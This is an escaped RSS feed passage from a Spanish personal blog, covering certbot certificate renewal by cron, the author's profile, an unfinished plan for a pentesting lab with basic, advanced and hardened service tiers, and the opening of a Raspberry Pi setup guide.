&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">Successfully received certificate.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Certificate is saved at: /etc/letsencrypt/live/procamora.com/fullchain.pem
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Key is saved at: /etc/letsencrypt/live/procamora.com/privkey.pem
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">This certificate expires on 2023-06-25.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">These files will be updated when the certificate renews.
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Y nos proporciona la información de como renovar el certificado dentro de 3 meses cuando caduque.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">NEXT STEPS:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">- This certificate will not be renewed automatically. Autorenewal of --manual certificates requires the use of an authentication hook script (--manual-auth-hook) but one was not provided. To renew this certificate, repeat this same certbot command before the certificate&amp;#39;s expiry date.
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="cron">Cron&lt;/h2>
&lt;p>Mi recomendación es actualizar el certificado con el siguiente comando dentro de un cron:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nb">echo&lt;/span> &lt;span class="s2">&amp;#34;0 12 */15 * * root cd ~/letsencrypt/ &amp;amp;&amp;amp; certbot renew&amp;#34;&lt;/span> &lt;span class="p">|&lt;/span> sudo tee -a /etc/cron.d/letsencrypt
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;blockquote>
&lt;p>Aunque el certificado caduca en 90 días, yo intento renovarlo cada 15 dias para evitar que me pueda caducar antes de que lo haya renovado, obligandome a volver a generarlo. El cron es cada 15 días debido a que este servidor no siempre está encendido.&lt;/p>
&lt;/blockquote>
&lt;p>La documentación oficial recomienda ejecutar el siguiente comando para la renovación automática:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nb">echo&lt;/span> &lt;span class="s2">&amp;#34;0 0,12 * * * root &lt;/span>&lt;span class="k">$(&lt;/span>&lt;span class="nb">command&lt;/span> -v python3&lt;span class="k">)&lt;/span>&lt;span class="s2"> -c &amp;#39;import random; import time; time.sleep(random.random() * 3600)&amp;#39; &amp;amp;&amp;amp; sudo &lt;/span>&lt;span class="k">$(&lt;/span>&lt;span class="nb">command&lt;/span> -v certbot&lt;span class="k">)&lt;/span>&lt;span class="s2"> renew -q&amp;#34;&lt;/span> &lt;span class="p">|&lt;/span> sudo tee -a /etc/crontab &amp;gt; /dev/null
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="nginx-proxy-manager">Nginx Proxy Manager&lt;/h2>
&lt;p>El último paso sería usar el certificado, en mi caso personal uso Nginx Proxy Manager por la facilidad que me proporciona para la gestión de hosts y ACLs.&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2023/letsencrypt_dns_wildcard_nginx.png"
loading="lazy"
alt="nginx"
>&lt;/p></description></item><item><title>Acerca de</title><link>https://www.procamora.com/acerca-de/</link><pubDate>Fri, 27 Aug 2021 00:00:00 +0000</pubDate><guid>https://www.procamora.com/acerca-de/</guid><description>&lt;p>Me llamo Pablo y soy un ingeniero informático que se está especializando en ciberseguridad y hacking ético a través de un máster. Mis principales hobbies son la programación y la electrónica.&lt;/p>
&lt;p>Cuando era pequeño me gustaba desmontar objetos para entender su funcionamiento y, aunque en esa época no solía conseguir montarlas de nuevo correctamente, ahora si que lo suelo conseguir.&lt;/p>
&lt;p>Durante mi etapa académica, dedicaba más horas a investigar por mi cuenta conceptos relacionados con los vistos en clase que el temario que se impartía, por lo que mis compañeros me consultaban las dudas que les surgían.&lt;/p>
&lt;p>Soy una persona a la que le encanta enfrentarse a nuevos retos y estar constantemente aprendiendo. Si algo me define es la cultura DIY (Do it yourself).&lt;/p>
&lt;p>Mis principales hard skills son:&lt;/p>
&lt;ul>
&lt;li>Análisis de vulnerabilidades y pentesting.&lt;/li>
&lt;li>Configuración de Firewalls.&lt;/li>
&lt;li>Gestión de riesgos y Auditoría de red.&lt;/li>
&lt;li>Ciberseguridad de la información: Autorización y Control de Acceso.&lt;/li>
&lt;li>Configuración de Sistemas de Detección y Prevención de Intrusos.&lt;/li>
&lt;li>Administración de Sistemas Operativos Linux.&lt;/li>
&lt;li>Conocimiento de lenguajes de programación como Python, Java y C/C++.&lt;/li>
&lt;li>Diseño de proyectos basados en sistemas embebidos como Arduino.&lt;/li>
&lt;li>Administración y gestión de redes.&lt;/li>
&lt;li>Desarrollo de Servicios Web REST.&lt;/li>
&lt;li>Desarrollo de Bases de Datos tanto Relacionales como No Relacionales.&lt;/li>
&lt;/ul>
&lt;p>Mis principales soft skills son:&lt;/p>
&lt;ul>
&lt;li>Trabajo en equipo&lt;/li>
&lt;li>Capacidad resolutiva&lt;/li>
&lt;li>Capacidad de adaptación y aprendizaje&lt;/li>
&lt;li>Pensamiento analítico&lt;/li>
&lt;li>Creatividad&lt;/li>
&lt;/ul>
&lt;p>Si deseas ponerte en contacto conmigo, puedes hacerlo a través de esta plataforma o por correo electrónico: [pablojoserocamora@gmail.com][mail]&lt;/p>
&lt;h1 id="socials">Socials&lt;/h1>
&lt;ul>
&lt;li>&lt;a class="link" href="https://github.com/procamora" target="_blank" rel="noopener"
>Github&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://www.procamora.com" target="_blank" rel="noopener"
>web&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="mailto:pablojoserocamora@gmail.com" >pablojoserocamora@gmail.com&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Escenario para Pentesting (II). Servicios desplegados (WIP)</title><link>https://www.procamora.com/p/escenario_para_pentesting_ii_servicios/</link><pubDate>Mon, 12 Oct 2020 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/escenario_para_pentesting_ii_servicios/</guid><description>&lt;img src="https://www.procamora.com/covers/pentesting.png" alt="Featured image of post Escenario para Pentesting (II). Servicios desplegados (WIP)" />&lt;p>En este artículo se detallan los servicios que se van a usar junto con una pequeña descripción de los distintos niveles de madurez de estos. Estos niveles de madurez los vamos a clasificar como &lt;em>basic&lt;/em>, &lt;em>advanced&lt;/em> y &lt;em>hardening&lt;/em>.&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/prometeo/Complete_Scenario.svg"
loading="lazy"
alt="Escenario avanzado"
>{:height=&amp;ldquo;auto&amp;rdquo; width=&amp;ldquo;100%&amp;rdquo;}&lt;/p>
&lt;ul>
&lt;li>&lt;a class="link" href="#header1" >DMZ Servers&lt;/a>:
&lt;ul>
&lt;li>&lt;a class="link" href="#mark0" >DB SQL (MariaDB)&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark1" >DB NoSQL (MongoDB)&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark2" >FTP (vsftpd)&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark3" >Web Security Dojo&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark4" >WAF (ModSecurity)&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark5" >WEB (Apache2)&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark6" >Monitorización (Nagios)&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark7" >Almacenamiento (Owncloud)&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark8" >Muña&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark9" >Wordpress&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark10" >Prestashop&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark11" >Joomla&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark12" >Drupal&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark13" >Radius (freeradius)&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark14" >DNS (bind9)&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark15" >Honeypot (Cowrie)&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark16" >Correo (Postfix)&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a class="link" href="#header2" >Router&lt;/a>
&lt;ul>
&lt;li>&lt;a class="link" href="#mark21" >firewall&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark22" >VPN&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark23" >IPv6&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a class="link" href="#header3" >IDS&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#header4" >LAN Servers&lt;/a>
&lt;ul>
&lt;li>&lt;a class="link" href="#mark41" >VoIP (Asterisk)&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark42" >LDAP (OpenLDAP)&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark43" >SIEM (ELK)&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark44" >SIEM (Splunk)&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark441" >SIEM (EventLog Analyzer)&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark45" >Active Directory&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark46" >WEB (IIS)&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark47" >Almacenamiento (SharePoint)&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark48" >DB SQL (SQL Server)&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark491" >ory/hydra OpenID&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark492" >ory/hydra OAuth2&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a class="link" href="#header5" >LAN PCs&lt;/a>
&lt;ul>
&lt;li>&lt;a class="link" href="#mark51" >Windows XP&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark52" >Windows 7&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark53" >Windows 10&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h1 id="header1">DMZ Servers&lt;/h1>
&lt;p>En esta subred se encuentran todos aquellos servicios que son alcanzables desde el exterior. Algunos de estos servicios tienes un acceso limitad a la subred interna de servidores, como por ejemplo para enviar los logs generados.&lt;/p>
&lt;h2 id="mark0">DB SQL (MariaDB)&lt;/h2>
&lt;p>Se usará MariaDB como base da datos SQL que almacena los datos de los siguientes servicios:&lt;/p>
&lt;ul>
&lt;li>Owncloud&lt;/li>
&lt;li>Asterisk&lt;/li>
&lt;li>Wordpress&lt;/li>
&lt;li>Prestashop&lt;/li>
&lt;li>Joomla&lt;/li>
&lt;/ul>
&lt;h3 id="basic">Basic&lt;/h3>
&lt;p>Está será la configuración que viene por defecto, con la excepción de que tiene que permitir conexiones desde cualquier IP, ya que será usada por servicios que tienen distintas IPs y que tendrá habilitada la auditoria para poder enviar.&lt;/p>
&lt;h3 id="advanced">Advanced&lt;/h3>
&lt;p>Está configuración tendrá mayores medidas de seguridad, como limitar el acceso por IP únicamente a los servicios que necesitan acceso a la base de datos.&lt;/p>
&lt;h3 id="hardening">Hardening&lt;/h3>
&lt;p>Esta configuración será mucho más avanzada, se usará la guía del CIS para hardenizar la base de datos.&lt;/p>
&lt;p>//TODO Poner url pdf cis mysql&lt;/p>
&lt;h2 id="mark1">DB NoSQL (MongoDB)&lt;/h2>
&lt;p>//TODO ver el uso que se le da&lt;/p>
&lt;h3 id="basic-1">Basic&lt;/h3>
&lt;h3 id="advanced-1">Advanced&lt;/h3>
&lt;h3 id="hardening-1">Hardening&lt;/h3>
&lt;h2 id="mark2">FTP (vsftpd)&lt;/h2>
&lt;p>Se usará vsftpd como servidor FTP de la organización para la descarga de datos.&lt;/p>
&lt;h3 id="basic-2">Basic&lt;/h3>
&lt;p>Está será la configuración que viene por defecto.&lt;/p>
&lt;h3 id="advanced-2">Advanced&lt;/h3>
&lt;p>Está configuración tendrá mayores medidas de seguridad, como pueden ser:&lt;/p>
&lt;ul>
&lt;li>Usar un servicio LDAP para la gestión de usuarios&lt;/li>
&lt;li>Usar únicamente FTPS (FTP over SSL) o SFTP (SSH File Transfer Protocol)&lt;/li>
&lt;li>Usar algún servicio como fail2ban para evitar ataques de fuerza bruta.&lt;/li>
&lt;/ul>
&lt;h3 id="hardening-2">Hardening&lt;/h3>
&lt;p>Esta configuración será mucho más avanzada, se usará la guía del CIS para hardenizar el servicio.&lt;/p>
&lt;h2 id="mark3">Web Security Dojo&lt;/h2>
&lt;p>&lt;a class="link" href="https://www.mavensecurity.com/resources/web-security-dojo" target="_blank" rel="noopener"
>Web Security Dojo&lt;/a> es un entorno de aprendizaje autónomo de código abierto para pruebas de penetración de seguridad de aplicaciones web, cuyos objetivos son:&lt;/p>
&lt;ul>
&lt;li>OWASP&amp;rsquo;s WebGoat&lt;/li>
&lt;li>Google’s Gruyere&lt;/li>
&lt;li>Damn Vulnerable Web App&lt;/li>
&lt;li>Hacme Casino&lt;/li>
&lt;li>OWASP InsecureWebApp&lt;/li>
&lt;li>w3af&amp;rsquo;s test website&lt;/li>
&lt;li>simple training targets by Maven Security (including REST and JSON)&lt;/li>
&lt;/ul>
&lt;h2 id="mark4">WAF (ModSecurity)&lt;/h2>
&lt;p>&lt;a class="link" href="https://modsecurity.org/" target="_blank" rel="noopener"
>ModSecurity&lt;/a> es un firewall de aplicaciones Web (WAF) embebible que se ejecuta como un módulo del servidor web Apache, provee protección contra diversos ataques hacia aplicaciones Web y permite monitorizar tráfico HTTP.&lt;/p>
&lt;p>\TODO Investigar si tiene que estar como server proxy inverso o puede estar con el Apache junto con el resto de servicios (Menos consumo de recursos)&lt;/p>
&lt;h3 id="basic-3">Basic&lt;/h3>
&lt;p>No va a estar configurado y únicamente redireccionará todas las peticiones HTTP al su respectivo servidor web&lt;/p>
&lt;h3 id="advanced-3">Advanced&lt;/h3>
&lt;p>Se va a configurar con el objetivo de que sea capaz de evitar SQL Injection y otros tipos de ataques web.&lt;/p>
&lt;h3 id="hardening-3">Hardening&lt;/h3>
&lt;p>Esta configuración será mucho más avanzada, se usará la guía del CIS para hardenizar el servidor web.&lt;/p>
&lt;h2 id="mark5">WEB (Apache2)&lt;/h2>
&lt;p>Se va a usar el servidor web Apache para desplegar una serie de servicios y CMS como son:&lt;/p>
&lt;ul>
&lt;li>Muña&lt;/li>
&lt;li>Nagios&lt;/li>
&lt;li>Owncloud&lt;/li>
&lt;li>Muña&lt;/li>
&lt;li>Wordpress&lt;/li>
&lt;li>Prestashop&lt;/li>
&lt;li>Joomla&lt;/li>
&lt;li>Drupal&lt;/li>
&lt;li>WebGoat&lt;/li>
&lt;li>phpmyadmin&lt;/li>
&lt;/ul>
&lt;p>Además se van a probar diferentes configuraciones de Apache para poner determinadas partes de una web con contraseña o usar el nuevo protocolo QUIC – HTTP/3.&lt;/p>
&lt;h3 id="basic-4">Basic&lt;/h3>
&lt;p>Está será la configuración que viene por defecto, con la excepción de que se crearán virtualhost para cada una de las aplicaciones que se van a levantar usando Apache.&lt;/p>
&lt;h3 id="advanced-4">Advanced&lt;/h3>
&lt;p>Esta configuración hará uso de SSL y de certificados generados y firmados por una CA auto-firmada.&lt;/p>
&lt;h3 id="hardening-4">Hardening&lt;/h3>
&lt;p>Esta configuración será mucho más avanzada, se usará la guía del CIS para hardenizar el servidor web.&lt;/p>
&lt;h2 id="mark6">Monitorización (Nagios)&lt;/h2>
&lt;p>Se va a usar este servicio par monitorizar el funcionamiento de todos los hosts de la arquitectura, usando el protocolo SNMP, por lo que todos tendrán que tener configurado este protocolo.&lt;/p>
&lt;h3 id="basic-5">Basic&lt;/h3>
&lt;p>Está será la configuración que viene por defecto, utilizando SNMPv2 para la monitorización de los hosts.&lt;/p>
&lt;h3 id="advanced-5">Advanced&lt;/h3>
&lt;p>Esta configuración hará uso de un certificado para cifrar las comunicaciones. Además que se cambiara SNMPv2 por SNMPv3 para que el tráfico de monitorización vaya cifrado.&lt;/p>
&lt;h3 id="hardening-5">Hardening&lt;/h3>
&lt;p>\TODO&lt;/p>
&lt;h2 id="mark7">Almacenamiento (Owncloud)&lt;/h2>
&lt;h3 id="basic-6">Basic&lt;/h3>
&lt;h3 id="advanced-6">Advanced&lt;/h3>
&lt;h3 id="hardening-6">Hardening&lt;/h3>
&lt;h2 id="mark8">Muña&lt;/h2>
&lt;p>&lt;a class="link" href="https://munahack.github.io/index.html" target="_blank" rel="noopener"
>Muña&lt;/a> es una aplicación vulnerable cuyo objetivo es practicar seguridad y hacking ético de aplicaciones y servicios web.&lt;/p>
&lt;p>Permite practica como atacar usando técnicas como inyección SQL, XSS, exposición de Recursos, exposición de Credenciales, seguridad de Base de Datos, etc.&lt;/p>
&lt;p>También permite aprender como defenderte escribiendo código seguro y otras formas de prevención para las aplicaciones.&lt;/p>
&lt;h3 id="basic-7">Basic&lt;/h3>
&lt;p>Está será la configuración que viene por defecto.&lt;/p>
&lt;h3 id="advanced-7">Advanced&lt;/h3>
&lt;p>Está configuración se realizará tras un análisis del código y realizando la programación necesaria para securizar la aplicación web y eliminar las vulnerabilidades detectadas en la fase anterior.&lt;/p>
&lt;h2 id="mark9">Wordpress&lt;/h2>
&lt;h3 id="basic-8">Basic&lt;/h3>
&lt;h3 id="advanced-8">Advanced&lt;/h3>
&lt;h3 id="hardening-7">Hardening&lt;/h3>
&lt;h2 id="mark10">Prestashop&lt;/h2>
&lt;h3 id="basic-9">Basic&lt;/h3>
&lt;h3 id="advanced-9">Advanced&lt;/h3>
&lt;h3 id="hardening-8">Hardening&lt;/h3>
&lt;h2 id="mark11">Joomla&lt;/h2>
&lt;h3 id="basic-10">Basic&lt;/h3>
&lt;h3 id="advanced-10">Advanced&lt;/h3>
&lt;h3 id="hardening-9">Hardening&lt;/h3>
&lt;h2 id="mark12">Drupal&lt;/h2>
&lt;h3 id="basic-11">Basic&lt;/h3>
&lt;h3 id="advanced-11">Advanced&lt;/h3>
&lt;h3 id="hardening-10">Hardening&lt;/h3>
&lt;h2 id="mark13">Radius (freeradius)&lt;/h2>
&lt;h3 id="basic-12">Basic&lt;/h3>
&lt;h3 id="advanced-12">Advanced&lt;/h3>
&lt;h3 id="hardening-11">Hardening&lt;/h3>
&lt;h2 id="mark14">DNS (bind9)&lt;/h2>
&lt;h3 id="basic-13">Basic&lt;/h3>
&lt;h3 id="advanced-13">Advanced&lt;/h3>
&lt;h3 id="hardening-12">Hardening&lt;/h3>
&lt;h2 id="mark15">Honeypot (Cowrie)&lt;/h2>
&lt;h3 id="basic-14">Basic&lt;/h3>
&lt;h3 id="advanced-14">Advanced&lt;/h3>
&lt;h3 id="hardening-13">Hardening&lt;/h3>
&lt;h2 id="mark16">Correo (Postfix)&lt;/h2>
&lt;h3 id="basic-15">Basic&lt;/h3>
&lt;h3 id="advanced-15">Advanced&lt;/h3>
&lt;h3 id="hardening-14">Hardening&lt;/h3>
&lt;h1 id="header2">Router&lt;/h1>
&lt;h1 id="header3">IDS&lt;/h1>
&lt;h1 id="header4">LAN Servers&lt;/h1>
&lt;h2 id="mark41">VoIP (Asterisk)&lt;/h2>
&lt;h2 id="mark42">LDAP (OpenLDAP)&lt;/h2>
&lt;h2 id="mark43">SIEM (ELK)&lt;/h2>
&lt;h2 id="mark44">SIEM (Splunk)&lt;/h2>
&lt;h2 id="mark441">SIEM (EventLog Analyzer)&lt;/h2>
&lt;h2 id="mark45">Active Directory&lt;/h2>
&lt;h2 id="mark46">WEB (IIS)&lt;/h2>
&lt;h2 id="mark47">Almacenamiento (SharePoint)&lt;/h2>
&lt;h2 id="mark48">DB SQL (SQL Server)&lt;/h2>
&lt;h2 id="mark491">ory/hydra OpenID&lt;/h2>
&lt;h2 id="mark492">ory/hydra OAuth2&lt;/h2>
&lt;h1 id="header5">LAN PCs&lt;/h1></description></item><item><title>Escenario para Pentesting (I). Introducción y objetivos (WIP)</title><link>https://www.procamora.com/p/escenario_para_pentesting_i_introduccion/</link><pubDate>Tue, 15 Sep 2020 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/escenario_para_pentesting_i_introduccion/</guid><description>&lt;img src="https://www.procamora.com/covers/pentesting.png" alt="Featured image of post Escenario para Pentesting (I). Introducción y objetivos (WIP)" />&lt;p>Se va a diseñar un escenario virtual que emule una infraestructura de una empresa de cierto tamaño, aunque para reducir el uso de recursos necesarios para el despliegue del escenario, se van a juntar los servicios que tienen coherencia en la misma máquina, haciendo por ejemplo que distintas bases de datos estén en el mismo host.&lt;/p>
&lt;br/>
&lt;p>Los principales objetivos para el desarrollo de este escenario son los siguientes:&lt;/p>
&lt;ul>
&lt;li>Estudio en profundidad de los principales servicios usados en la actualidad, ya que va a ser necesario instalarlos y configurarlos adecuadamente.&lt;/li>
&lt;li>Creación de un escenario (basic) con las distintas configuraciones de los servicios por defecto a excepción de los logs, que serán enviados a un servidor centralizado de logs, lo que nos permitirá posicionarnos desde dos puntos de vista diferentes:
&lt;ul>
&lt;li>Red Team: que tiene como objetivo realizar un estudio de estas configuraciones buscando fallos de seguridad en estas para posteriormente realizar ataques aprovechándose de esas configuraciones por defecto.&lt;/li>
&lt;li>Blue Team: Al mismo tiempo, desde este punto de vista realizaremos un análisis de los logs para ver que rastros se dejan durante el ataque.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Creación de un escenario (advanced) al que se le van a aplicar configuraciones adecuadas según las necesidades de cada servicio desplegado. En esta etapa también se probará a realizar distintos tipos de ataque y analizar los logs para ver los registros generados.&lt;/li>
&lt;li>Creación de un escenario (hardening) en el que todas las maquinas y servicios van a tener aplicadas configuraciones más robustas siguiendo estándares de guías como el CIS o el NIST.&lt;/li>
&lt;/ul>
&lt;br/>
&lt;p>Las principales herramientas que se van a utilizar para el despliegue del escenario son las siguientes:&lt;/p>
&lt;ul>
&lt;li>&lt;a class="link" href="https://es.wikipedia.org/wiki/Proxmox_Virtual_Environment" target="_blank" rel="noopener"
>&lt;strong>Proxmox&lt;/strong>&lt;/a>: Proxmox Virtual Environment, o Proxmox VE, es un entorno de virtualización de servidores de código abierto. Está en distribuciones GNU/Linux basadas en Debian con una versión modificada del Kernel RHEL y permite el despliegue y la gestión de máquinas virtuales y contenedores. Proxmox VE incluye una consola Web y herramientas de línea de comandos, y proporciona una API REST para herramientas de terceros. Dos tipos de virtualización son compatibles: los contenedores basados con LXC y la virtualización con KVM. Viene con un instalador e incluye un sitio Web basado en la interfaz de administración.&lt;/li>
&lt;li>&lt;a class="link" href="https://es.wikipedia.org/wiki/Terraform_%28software%29" target="_blank" rel="noopener"
>&lt;strong>Terraform&lt;/strong>&lt;/a>: Terraform es un software de infraestructura como código (IaaC) desarrollado por &lt;a class="link" href="https://www.hashicorp.com/" target="_blank" rel="noopener"
>HashiCorp&lt;/a>. Permite a los usuarios definir y configurar la infraestructura de un centro de datos en un lenguaje de alto nivel, generando un plan de ejecución para desplegar la infraestructura en Proxmox, OpenStack, AWS, Azure, etc.&lt;/li>
&lt;li>&lt;strong>Bash&lt;/strong>: Para la automatización de configuración y despliegue de Proxmox, hosts y los distintos contenedores se van a utilizar scripts hechos en bash que realicen una configuración inicial.&lt;/li>
&lt;li>&lt;strong>Ansible&lt;/strong>: Para la instalación y configuración de los servicios en todos los hosts. El objetivo es crear distintos entornos siendo AnNsible el encargado de aplicar las configuraciones más o menos robustas según el entorno.&lt;/li>
&lt;/ul>
&lt;br/>
&lt;p>Los sistemas operativos que se van a usar para desplegar los distintos servicios son:&lt;/p>
&lt;ul>
&lt;li>Linux: Se usarán distintas distribuciones Linux para hacer un escenario más heterogéneo, estos Sistemas Operativos están basados en las principales distribuciones Linux y son los siguientes:
&lt;ul>
&lt;li>Debian 10&lt;/li>
&lt;li>CentOS 7&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Windows: Se usaran Sistemas Operativo basados en Windows para los hosts de los usuarios y para dos servidores que tienen un Active Directory, estos son los siguientes:
&lt;ul>
&lt;li>Windows Server 2019&lt;/li>
&lt;li>Windows Server 2012&lt;/li>
&lt;li>Windows 10&lt;/li>
&lt;li>Windows 7&lt;/li>
&lt;li>Windows XP&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;br/>
&lt;p>A continuación podemos ver un diagrama simplificado de como será la arquitectura desplegada, los equipos que están dentro del cuadrado son aquellos que serán virtualizados.&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/prometeo/Basic_Scenario.svg"
loading="lazy"
alt="Escenario básico"
>{:height=&amp;ldquo;auto&amp;rdquo; width=&amp;ldquo;100%&amp;rdquo;}&lt;/p></description></item><item><title>Configuracion de la Raspberry Pi 4</title><link>https://www.procamora.com/p/configuracion_de_la_raspberry_pi_4/</link><pubDate>Fri, 11 Sep 2020 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/configuracion_de_la_raspberry_pi_4/</guid><description>&lt;img src="https://www.procamora.com/covers/draft.png" alt="Featured image of post Configuracion de la Raspberry Pi 4" />&lt;p>Para crear la imagen con Raspbian ejecutaremos:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dd &lt;span class="nv">bs&lt;/span>&lt;span class="o">=&lt;/span>4M &lt;span class="k">if&lt;/span>&lt;span class="o">=&lt;/span>2020-08-20-raspios-buster-armhf-lite.img &lt;span class="nv">of&lt;/span>&lt;span class="o">=&lt;/span>/dev/sdh &lt;span class="nv">conv&lt;/span>&lt;span class="o">=&lt;/span>fsync &lt;span class="nv">status&lt;/span>&lt;span class="o">=&lt;/span>progress
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo sync
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># montar en /run/media/procamora/boot/&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">touch /run/media/procamora/boot/ssh
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo sync
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="instalación-y-configuración-inicial">Instalación y configuración inicial&lt;/h1>
&lt;p>Lo primero que vamos a realizar es comprobar si tenemos bien configurados las configuraciones de idiomas, y así evitar posibles errores a la hora de actualizar e instalar nuevos programas. Para ello vamos a ejecutar el comando &lt;em>locale&lt;/em> y ver si están configuradas todas las variables de entorno, en caso de que haya alguna vacia vamos a ejecutar:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nb">export&lt;/span> &lt;span class="nv">LANGUAGE&lt;/span>&lt;span class="o">=&lt;/span>en_US.UTF-8
